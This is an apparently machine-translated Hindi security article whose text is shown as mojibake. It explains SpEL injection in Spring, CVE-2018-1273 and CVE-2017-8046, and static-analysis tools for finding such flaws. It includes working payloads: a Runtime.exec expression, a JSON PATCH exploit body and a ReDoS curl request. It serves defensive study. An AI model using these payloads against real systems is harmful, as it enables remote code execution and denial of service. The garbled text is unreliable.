рдкреНрд░рд▓реЗрдЦрди рдХреЗ рдЕрдиреБрд╕рд╛рд░, рд╕реНрдкреЗрд▓ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ:


  • рд╢рд╛рдмреНрджрд┐рдХ рднрд╛рд╡
  • рдмреВрд▓рд┐рдпрди рдФрд░ рд░рд┐рд▓реЗрд╢рдирд▓ рдСрдкрд░реЗрдЯрд░
  • рдирд┐рдпрдорд┐рдд рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐
  • рдХрдХреНрд╖рд╛ рдХреЗ рднрд╛рд╡
  • рдПрдХреНрд╕реЗрд╕ рдХрд░рдиреЗ рдХреЗ рдЧреБрдг, рд╕рд░рдгрд┐рдпрд╛рдБ, рд╕реВрдЪрд┐рдпрд╛рдБ, рдирдХреНрд╢реЗ
  • рд╡рд┐рдзрд┐ рдЖрд╣реНрд╡рд╛рди
  • рд╕рдВрдмрдВрдзрд┐рдд рдСрдкрд░реЗрдЯрд░
  • рдЕрд╕рд╛рдЗрдирдореЗрдВрдЯ
  • рдирд┐рд░реНрдорд╛рдг рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдмреБрд▓рд╛ рд░рд╣реЗ рд╣реИрдВ
  • рдмреАрди рд╕рдВрджрд░реНрдн
  • рдЕрд░реНрд░реЗ рдирд┐рд░реНрдорд╛рдг
  • рдЗрдирд▓рд╛рдЗрди рд╕реВрдЪреА
  • рдЗрдирд▓рд╛рдЗрди рдирдХреНрд╢реЗ
  • рдЯрд░реНрдирд░реА рдСрдкрд░реЗрдЯрд░
  • рдЪрд░
  • рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд╛рд░реНрдп
  • рд╕рдВрдЧреНрд░рд╣ рдкреНрд░рдХреНрд╖реЗрдкрдг
  • рд╕рдВрдЧреНрд░рд╣ рдХрд╛ рдЪрдпрди
  • рдЕрд╕реНрдерд╛рдпреА рднрд╛рд╡

рдЬреИрд╕рд╛ рдХрд┐ рд╣рдо рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ, рд╕реНрдкреЗрд▓ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдмрд╣реБрдд рд╕рдореГрджреНрдз рд╣реИ, рдФрд░ рдпрджрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ рдПрдХреНрд╕рдкреНрд░реЗрд╢рдирдкреНрд░реИрд╕рд░ рдореЗрдВ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдкрд░рд┐рдпреЛрдЬрдирд╛ рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдкреНрд░рддрд┐рдХреВрд▓ рд░реВрдк рд╕реЗ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП, рд╕реНрдкреНрд░рд┐рдВрдЧ рд╕реНрд╡рдпрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рд╕рд▓рд╛рд╣ рджреЗрддрд╛ рд╣реИ, рдПрдХ рдкреВрд░реА рддрд░рд╣ рдХрд╛рд░реНрдпрд╛рддреНрдордХ StandardEcalutionContext рдХреЗ рдмрдЬрд╛рдп, рдПрдХ рдЕрдзрд┐рдХ рдЫреАрди рд▓рд┐рдпрд╛ рдЧрдпрд╛ SimpleEvaluationContextред


рд╕рдВрдХреНрд╖реЗрдк рдореЗрдВ, рд╣рдорд╛рд░реЗ рд▓рд┐рдП рдорд╣рддреНрд╡, SimpleEvaluationContext рдореЗрдВ рдЬрд╛рд╡рд╛ рдХрдХреНрд╖рд╛рдУрдВ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдФрд░ рдЕрдиреНрдп рд╕реЗрдо рдХреЛ рд╕рдВрджрд░реНрднрд┐рдд рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдирд╣реАрдВ рд╣реИред


рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдХрд╛ рдкреВрд░рд╛ рд╡рд┐рд╡рд░рдг рд╕рдмрд╕реЗ рдЕрдЪреНрдЫреА рддрд░рд╣ рд╕реЗ рдкреНрд░рд▓реЗрдЦрди рд╡реЗрдмрд╕рд╛рдЗрдЯ рдкрд░ рдЦреЛрдЬрд╛ рдЧрдпрд╛ рд╣реИ:
StandardEvaluationContext
SimpleEvaluationContext


рдХреБрдЫ рд╕реБрдзрд╛рд░ рд╕реНрдкреЗрд▓ рдХреА рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдореЗрдВ рдЕрдВрддрд░ рдкрд░ рднреА рдЖрдзрд╛рд░рд┐рдд рд╣реИрдВ, рдЬреЛ рд╡рд┐рднрд┐рдиреНрди рд╕рдВрджрд░реНрднреЛрдВ рдореЗрдВ рдЪрд▓рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рд╣рдо рдЗрд╕ рдмрд╛рд░реЗ рдореЗрдВ рдереЛрдбрд╝реА рджреЗрд░ рдмрд╛рдж рдмрд╛рдд рдХрд░реЗрдВрдЧреЗред


рд╕рдм рдХреБрдЫ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рд╕реНрдкрд╖реНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдо рдПрдХ рдЙрджрд╛рд╣рд░рдг рджреЗрддреЗ рд╣реИрдВред рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рд╕реНрдкреЗрд▓ рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐ рд╡рд╛рд▓реА рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд░реЗрдЦрд╛ рд╣реИ:


 String inj = "T(java.lang.Runtime).getRuntime().exec('calc.exe')"; 

рдФрд░ рджреЛ рд╕рдВрджрд░реНрдн рд╣реИрдВ:


 StandardEvaluationContext std_c = new StandardEvaluationContext(); 

рдФрд░


 EvaluationContext simple_c = SimpleEvaluationContext.forReadOnlyDataBinding ().build(); 

рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐ exp = parser.parseExpression (рдЪреЛрдЯ);
java exp.getValue(std_c); - рдХреИрд▓рдХреБрд▓реЗрдЯрд░ рд▓реЙрдиреНрдЪ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛
java exp.getValue(simple_c); - рд╣рдореЗрдВ рдПрдХ рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢ рдорд┐рд▓реЗрдЧрд╛


рдПрдХ рд╕рдорд╛рди рд░реВрдк рд╕реЗ рджрд┐рд▓рдЪрд╕реНрдк рдмрд┐рдВрджреБ рдпрд╣ рд╣реИ рдХрд┐ рд╣рдо рдХрд┐рд╕реА рднреА рд╕рдВрджрд░реНрдн рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд┐рдП рдмрд┐рдирд╛ рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐ рдХреЛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рдирд╛ рд╢реБрд░реВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: exp.getValue();
рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐ рдХреЛ рдорд╛рдирдХ рд╕рдВрджрд░реНрдн рдХреЗ рднреАрддрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдФрд░, рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдЖрдк рдПрдХ рдкреНрд░реЛрдЧреНрд░рд╛рдорд░ рд╣реИрдВ рдФрд░ рд╕реНрдкреНрд░рд┐рдВрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ - рдХрднреА рднреА рдЙрд╕ рд╕рдВрджрд░реНрдн рдХреЛ рд╕реЗрдЯ рдХрд░рдирд╛ рди рднреВрд▓реЗрдВ рдЬрд┐рд╕рдХреЗ рднреАрддрд░ рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдПред


рд╣рдордиреЗ рдХреБрдЫ рд╕рдордп рдкрд╣рд▓реЗ рдХрд╣рд╛ рдерд╛ рдХрд┐ рдХреБрдЫ рд╕реБрдзрд╛рд░ рд╕рдВрджрд░реНрднреЛрдВ рдХреЗ рднреАрддрд░ рд╕реНрдкреЗрд▓ рдХреНрд╖рдорддрд╛рдУрдВ рдХреЗ рдмреАрдЪ рдХреЗ рдЕрдВрддрд░ рдкрд░ рдмрдирд╛рдП рдЧрдП рд╣реИрдВред рдЗрд╕ рддрд░рд╣ рдХреЗ рдлрд┐рдХреНрд╕ рдХреЗ рдЙрджрд╛рд╣рд░рдг рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВред


рд╕реАрд╡реАрдИ 2018-1273 рд╕реНрдкреНрд░рд┐рдВрдЧ рдбреЗрдЯрд╛ рдХреЙрдордиреНрд╕
рдпрд╣ рднреЗрджреНрдпрддрд╛ setPropertyValue рд╡рд┐рдзрд┐ рдореЗрдВ рдкрд╛рдИ рдЧрдИ рдереА рдФрд░ рджреЛ рд╕рдорд╕реНрдпрд╛рдУрдВ рдкрд░ рдЖрдзрд╛рд░рд┐рдд рдереА:
1) рдПрдХреНрд╕рдкреНрд░реЗрд╢рдирдкреИрд░рд╕рд░ рдореЗрдВ рдЖрдиреЗ рд╡рд╛рд▓реЗ рдЪрд░ рдХреЗ рдореВрд▓реНрдпреЛрдВ рдХреА рдЕрдкрд░реНрдпрд╛рдкреНрдд рд╕реНрд╡рдЪреНрдЫрддрд╛ред
2) рдорд╛рдирдХ рд╕рдВрджрд░реНрдн рдХреЗ рдлреНрд░реЗрдо рдореЗрдВ рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐ рдХрд╛ рдирд┐рд╖реНрдкрд╛рджрдиред


рдпрд╣рд╛рдБ рдХреЛрдб рдХреЗ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рднрд╛рдЧ рдХрд╛ рдПрдХ рд╕реНрдХреНрд░реАрдирд╢реЙрдЯ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ:



рдХреНрдпреЛрдВрдХрд┐ рд╕рдВрдкрддреНрддрд┐ рдХреЗ рдирд╛рдо рдХреЛ рд╕реНрдкреЗрд▓ рдврд╛рдВрдЪреЗ рдХреЗ рднреАрддрд░ рдЬрдЯрд┐рд▓ рдкреНрд░рд╕рдВрд╕реНрдХрд░рдг рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рдереА; рд╕рдВрджрд░реНрдн рдХреЛ рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП рддрд╛рд░реНрдХрд┐рдХ рд╕рдорд╛рдзрд╛рди рдерд╛, рдЬрд┐рд╕рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреЛрдб рд╣реИрдВ:



рд╕реНрдХреНрд░реАрдирд╢реЙрдЯ рдХреЛрдб рдХреЗ рдЙрди рд╣рд┐рд╕реНрд╕реЛрдВ рдХреЛ рджрд┐рдЦрд╛рддреЗ рд╣реИрдВ рдЬреЛ рд╕рдВрджрд░реНрдн рдФрд░ рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддреЗ рд╣реИрдВред рд▓реЗрдХрд┐рди рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐ рдХрд╛ рдирд┐рд╖реНрдкрд╛рджрди рдХрд╣реАрдВ рдФрд░ рд╣реЛрддрд╛ рд╣реИ:


 expression.setValue(context, value); 

рдпрд╣ рдпрд╣рд╛рдВ рд╣реИ рдХрд┐ рдпрд╣ рдЗрдВрдЧрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рд╣рдо рджрд┐рдП рдЧрдП рд╕рдВрджрд░реНрдн рдореЗрдВ рдореВрд▓реНрдп рдорд╛рди рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реНрдкреЗрд▓ рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд░рд╣реЗ рд╣реИрдВред
SimpleEvaluationContext рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╕реЗ parseExpression рдореЗрдВ рдЬрд╛рд╡рд╛ рдХреНрд▓рд╛рд╕ рдХреЗ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдХреЗ рдЦрд┐рд▓рд╛рдл рд╕реБрд░рдХреНрд╖рд╛ рдореЗрдВ рдорджрдж рдорд┐рд▓реА, рдФрд░ рдЕрдм рд╕рд░реНрд╡рд░ рд▓реЙрдЧ рдореЗрдВ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рдмрдЬрд╛рдп, рд╣рдо рдПрдХ рддреНрд░реБрдЯрд┐ рджреЗрдЦреЗрдВрдЧреЗ:


 Type cannot be found 'java.lang.Runtime' 

рд▓реЗрдХрд┐рди рдЗрд╕рдиреЗ рдкрд░реНрдпрд╛рдкреНрдд рд╕реНрд╡рдЪреНрдЫрддрд╛ рдХреА рдХрдореА рдХреЗ рд╕рд╛рде рд╕рдорд╕реНрдпрд╛ рдХреЛ рд╣рд▓ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдФрд░ рдПрдХ рд░реАрдбреЛрд╕ рд╣рдорд▓реЗ рдХрд╛ рд╕рдВрдЪрд╛рд▓рди рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдХреЛ рдмрдирд╛рдП рд░рдЦрд╛:


 curl -X POST http://localhost:8080/account -d "name['aaaaaaaaaaaaaaaaaaaaaaaa!'%20matches%20'%5E(a%2B)%2B%24']=test" 

рдЗрд╕рд▓рд┐рдП, рдЕрдЧрд▓реЗ рдлрд┐рдХреНрд╕ рдореЗрдВ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдкреИрд░рд╛рдореАрдЯрд░ рдирд╛рдо рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рдерд╛ред


рд╕рд┐рджреНрдзрд╛рдВрдд рд╕реЗ рдЕрднреНрдпрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП!


рдЕрдм рд╡реНрд╣рд╛рдЗрдЯ рдмреЙрдХреНрд╕ рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕реНрдкреЗрд▓ рдЗрдВрдЬреЗрдХреНрд╢рди рдХреА рдЦреЛрдЬ рдХрд░рдиреЗ рдХреЗ рдХрдИ рддрд░реАрдХреЗ рджреЗрдЦреЗрдВред


рд╕реНрдЯреЗрдк рдмрд╛рдп рд╕реНрдЯреЗрдк CVE-2017-8046


рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ рдЖрдкрдХреЛ рд╕реНрдкреЗрд▓-рдПрдХреНрд╕рдкреНрд░реЗрд╢рдВрд╕ рдХреЛ рдкреНрд░реЛрд╕реЗрд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЬрдЧрд╣ рдвреВрдВрдврдиреА рд╣реЛрдЧреАред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдк рдмрд╕ рд╣рдорд╛рд░реА рд╕рд┐рдлрд╛рд░рд┐рд╢ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдХреЛрдб рдореЗрдВ рдХреАрд╡рд░реНрдб рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред рдЗрди рд╢рдмреНрджреЛрдВ рдХреЛ рдпрд╛рдж рдХрд░реЗрдВ: SpelExpressionParser, EvaluationContext, рдФрд░ parseExpressionред


рдПрдХ рдЕрдиреНрдп рд╡рд┐рдХрд▓реНрдк рдХреЛрдб рдореЗрдВ рддреНрд░реБрдЯрд┐рдпреЛрдВ рдХреЛ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рднрд┐рдиреНрди рдкреНрд▓рдЧрдЗрдиреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╣реИред рдЕрдм рддрдХ, рдПрдХрдорд╛рддреНрд░ рдкреНрд▓рдЧ рдЬреЛ рд╕рдВрднрд╡ рд╕реНрдкреЗрд▓ рдЗрдВрдЬреЗрдХреНрд╢рди рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддрд╛ рд╣реИ, рд╡рд╣ рдерд╛ рдиреЗрдХрдмрдЧреНрд╕-рдХреНрд▓реАред
https://github.com/find-sec-bugs


рдЗрд╕рд▓рд┐рдП, рд╣рдореЗрдВ рд╡рд╣ рд╕реНрдерд╛рди рдорд┐рд▓рд╛ рдЬрд┐рд╕рдХреА рд╣рдо рдХреЛрдб рдореЗрдВ рд░реБрдЪрд┐ рд░рдЦрддреЗ рд╣реИрдВред рдЖрдЗрдП findecbugs-cli рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рдХрд╣рддреЗ рд╣реИрдВ:



рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛрдб рдореЗрдВ, рд╣рдо рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рджреЗрдЦреЗрдВрдЧреЗ:


 public class PathToSpEL { private static final SpelExpressionParser SPEL_EXPRESSION_PARSER = new SpelExpressionParser(); static final List<String> APPEND_CHARACTERS = Arrays.asList("-"); /** * Converts a patch path to an {@link Expression}. * * @param path the patch path to convert. * @return an {@link Expression} */ public static Expression pathToExpression(String path) { return SPEL_EXPRESSION_PARSER.parseExpression(pathToSpEL(path)); } 

рдЕрдЧрд▓рд╛ рдЪрд░рдг рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рд╣реИ рдХрд┐ рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐ рдЪрд░ рдореЗрдВ рдкрде рдЪрд░ рдХрд╣рд╛рдВ рдЬрд╛рддрд╛ рд╣реИред IntelijIdea IDE рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрд▓реНрдХрд┐ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдФрд░ рдореБрдХреНрдд рддрд░реАрдХреЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рд╣реЛрдЧрд╛ - рдбреЗрдЯрд╛рдлрд╝реНрд▓реЛ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░реЗрдВ:



рдЙрджрд╛рд╣рд░рдг рдФрд░ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд╢реНрд░реГрдВрдЦрд▓рд╛рдУрдВ рдФрд░ рд╡рд░реНрдЧреЛрдВ рдХреЛ рдмрджрд▓рдиреЗ рдФрд░ рдЙрдирдХрд╛ рдЕрдзреНрдпрдпрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЪреЗрди рдХреЛ рдЕрдирдбрд┐рдВрдбреЗрдб рдХрд░рдХреЗ, рд╣рдореЗрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдорд┐рд▓рддреЗ рд╣реИрдВ:


рд░рд┐рдкреНрд▓реЗрд╕рдореЗрдВрдЯ рд╡рд┐рдзрд┐ рдкрде рдЪрд░ рдХрд╛ рдорд╛рди рд▓реЗрддреА рд╣реИред


 public ReplaceOperation(String path, Object value) { super("replace", path, value); } 

рдФрд░ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрд┐рдд рд╡рд┐рдзрд┐ рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдЪрд░ "рдСрдк" рдХреЛ JSON рдХреЗ рдорд╛рди "рдмрджрд▓реЗрдВ" рдХреЗ рд╕рд╛рде рдкрд╛рд╕ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред


 JsonNode opNode = elements.next(); String opType = opNode.get("op").textValue(); else if (opType.equals("replace")) { ops.add(new ReplaceOperation(path, value)); 

рдЗрд╕реА рддрд░рд╣, рд╣рдо рдЙрди рд╕рднреА рд╕реНрдерд╛рдиреЛрдВ рдХреЛ рдвреВрдВрдврддреЗ рд╣реИрдВ рдЬрд╣рд╛рдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЙрд╕ рдорд╛рд░реНрдЧ рдЪрд░ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдорд╛рди рдкрд╛рд╕ рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдФрд░ рдлрд┐рд░ рднреЗрджреНрдпрддрд╛ рдХреЗ рд▓рд┐рдП рд╢реЛрд╖рдг рд╡рд┐рдХрд▓реНрдкреЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рдЗрд╕ рддрд░рд╣ рджрд┐рдЦрд╛рдИ рджреЗрдЧрд╛:
рдЕрдиреБрд░реЛрдз рд╡рд┐рдзрд┐: рдкреИрдЯ
рдЕрдиреБрд░реЛрдз рдирд┐рдХрд╛рдп:


 [{ "op" : "add", "path" : "T(java.lang.Runtime).getRuntime().exec(\"calc.exe\").x", "value" : "pwned" }] 

LGTM QL рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛


рдПрд▓рдЬреАрдЯреАрдПрдо рдХреНрдпреВрдПрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ (рдЗрд╕ рд▓реЗрдЦ рдХреЗ рдкреНрд░рдпреЛрдЬрдиреЛрдВ рдХреЗ рд▓рд┐рдП, рд╣рдо рдмрд╕ рдЗрд╕реЗ рдХреНрдпреВрдПрд▓ рдХреЗ рд▓рд┐рдП рдХрдо рдХрд░рддреЗ рд╣реИрдВ) рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рдЦреЛрдЬ рдХрд░рдиреЗ рдХрд╛ рдПрдХ рдФрд░ рджрд┐рд▓рдЪрд╕реНрдк рддрд░реАрдХрд╛ рд╣реИред
https://lgtm.com


рдЗрд╕рдХреА рдХрдореА рдХреЛ рддреБрд░рдВрдд рджреВрд░ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред рдореБрдлреНрдд рдХреЗ рд▓рд┐рдП, рдЖрдк рдХреЗрд╡рд▓ рдЙрди рдкрд░рд┐рдпреЛрдЬрдирд╛рдУрдВ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдЧрд┐рдЯрд╣рдм рдкрд░ рдЦреБрд▓реЗ рднрдВрдбрд╛рд░ рдореЗрдВ рд╣реИрдВ, рдХреНрдпреЛрдВрдХрд┐ рдкрд░рд┐рдпреЛрдЬрдирд╛ рдХреА рдПрдХ рддрд╕реНрд╡реАрд░ рд▓реЗрдиреЗ рдХреЗ рд▓рд┐рдП, LGTM рдкрд░рд┐рдпреЛрдЬрдирд╛ рдХреЛ рдЕрдкрдиреЗ рд╕рд░реНрд╡рд░ рдкрд░ рдЕрдкрд▓реЛрдб рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЙрд╕реЗ рд╕рдВрдХрд▓рд┐рдд рдХрд░рддрд╛ рд╣реИред рд▓реЗрдХрд┐рди рдЕрдЧрд░ рдпрд╣ рдЖрдкрдХреЛ рдкрд░реЗрд╢рд╛рди рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдПрд▓рдЬреАрдЯреАрдПрдо рдХреНрдпреВрдПрд▓ рдЖрдкрдХреЗ рд▓рд┐рдП рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛрдб рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдиреЗ рдХреЗ рдорд╣рд╛рди рдЕрд╡рд╕рд░ рдЦреЛрд▓реЗрдЧрд╛ред


рддреЛ QL рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХреНрдпрд╛ рд╣реИ?


рд╢реБрд░реВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЬреИрд╕рд╛ рдХрд┐ рд╣рдордиреЗ рдкрд╣рд▓реЗ рд╣реА рдХрд╣рд╛ рдерд╛, рдЖрдкрдХреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХрд╛ рд╕реНрдиреИрдкрд╢реЙрдЯ рдмрдирд╛рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреАред


рдЬрдм рд╕реНрдиреИрдкрд╢реЙрдЯ рддреИрдпрд╛рд░ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рдЗрд╕рдореЗрдВ рдХрдИ рдШрдВрдЯреЗ рд▓рдЧ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк QL рд╕рд┐рдВрдЯреИрдХреНрд╕ рдХреЗ рд╣рд┐рд╕реНрд╕реЗ рдХреЗ рд░реВрдк рдореЗрдВ SQL рдЬреИрд╕реА рдХреНрд╡реЗрд░реА рд▓рд┐рдЦрдирд╛ рд╢реБрд░реВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдк рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдХреЗ QL рдкреГрд╖реНрда рдкрд░ рдХрдВрд╕реЛрд▓ рдХреЗ рд▓рд┐рдП рдкреНрд▓рдЧрдЗрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рдХрдВрд╕реЛрд▓ рдореЗрдВ рд╕реАрдзреЗ рдХрд╛рд░реНрдп рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред


рдХреНрдпреЛрдВрдХрд┐ рдЕрдм рд╣рдо рд╡рд╕рдВрдд рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рдФрд░ рдпрд╣ рдЬрд╛рд╡рд╛ рдХреЗ рд▓рд┐рдП рд░реВрдкрд░реЗрдЦрд╛ рд╣реИ, рдЖрдкрдХреЛ рдЕрдкрдиреА рд░реБрдЪрд┐ рдХрд╛ рд╡рд░реНрдЧ рдФрд░ рдЗрд╕ рд╡рд░реНрдЧ рд╕реЗ рд╡рд┐рдзрд┐ рдХрд╛ рд╡рд░реНрдгрди рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА, рдЬрд┐рд╕рдореЗрдВ рд╕реЗ рдХреЙрд▓ рдХреЛ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред рд╣рдорд╛рд░реЗ рд▓рд┐рдП, рдпрд╣ рдХреЛрдИ рднреА рд╡рд░реНрдЧ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдПрдХ рд╡рд┐рдзрд┐ рд╢рд╛рдорд┐рд▓ рд╣реИ рдЬреЛ ExpressionParser рдХрд╣рддреА рд╣реИред


рдлрд┐рд░ рд╣рдо рдЙрди рд╕рднреА рддрд░реАрдХреЛрдВ рдХрд╛ рдЪрдпрди рдХрд░рддреЗ рд╣реИрдВ, рдЬреЛ рд╣рдорд╛рд░реА рдЖрд╡рд╢реНрдпрдХрддрд╛рдУрдВ рдХреЛ рдкреВрд░рд╛ рдХрд░рддреЗ рд╣реИрдВ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ рдЪрд░ рдХреА рдШрдЯрдирд╛ рдХрд╛ рд╡рд░реНрдгрди рдЗрд╕ рд╡рд┐рдзрд┐ рдореЗрдВ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдЬреЛ рдХрд┐ рдЗрд╕ рдкрджреНрдзрддрд┐ рдореЗрдВ рд╕рдВрдЪрд┐рдд рд╣реЛ рдЬрд╛рдПрдЧреА рдФрд░ рдЗрд╕ рдкрджреНрдзрддрд┐ рдореЗрдВ рди рдЖрдиреЗ рдХреА рд╕реНрдерд┐рддрд┐ рдХрд╛ рд╕рд╛рдордирд╛ рдХрд░реЗрдЧреАред



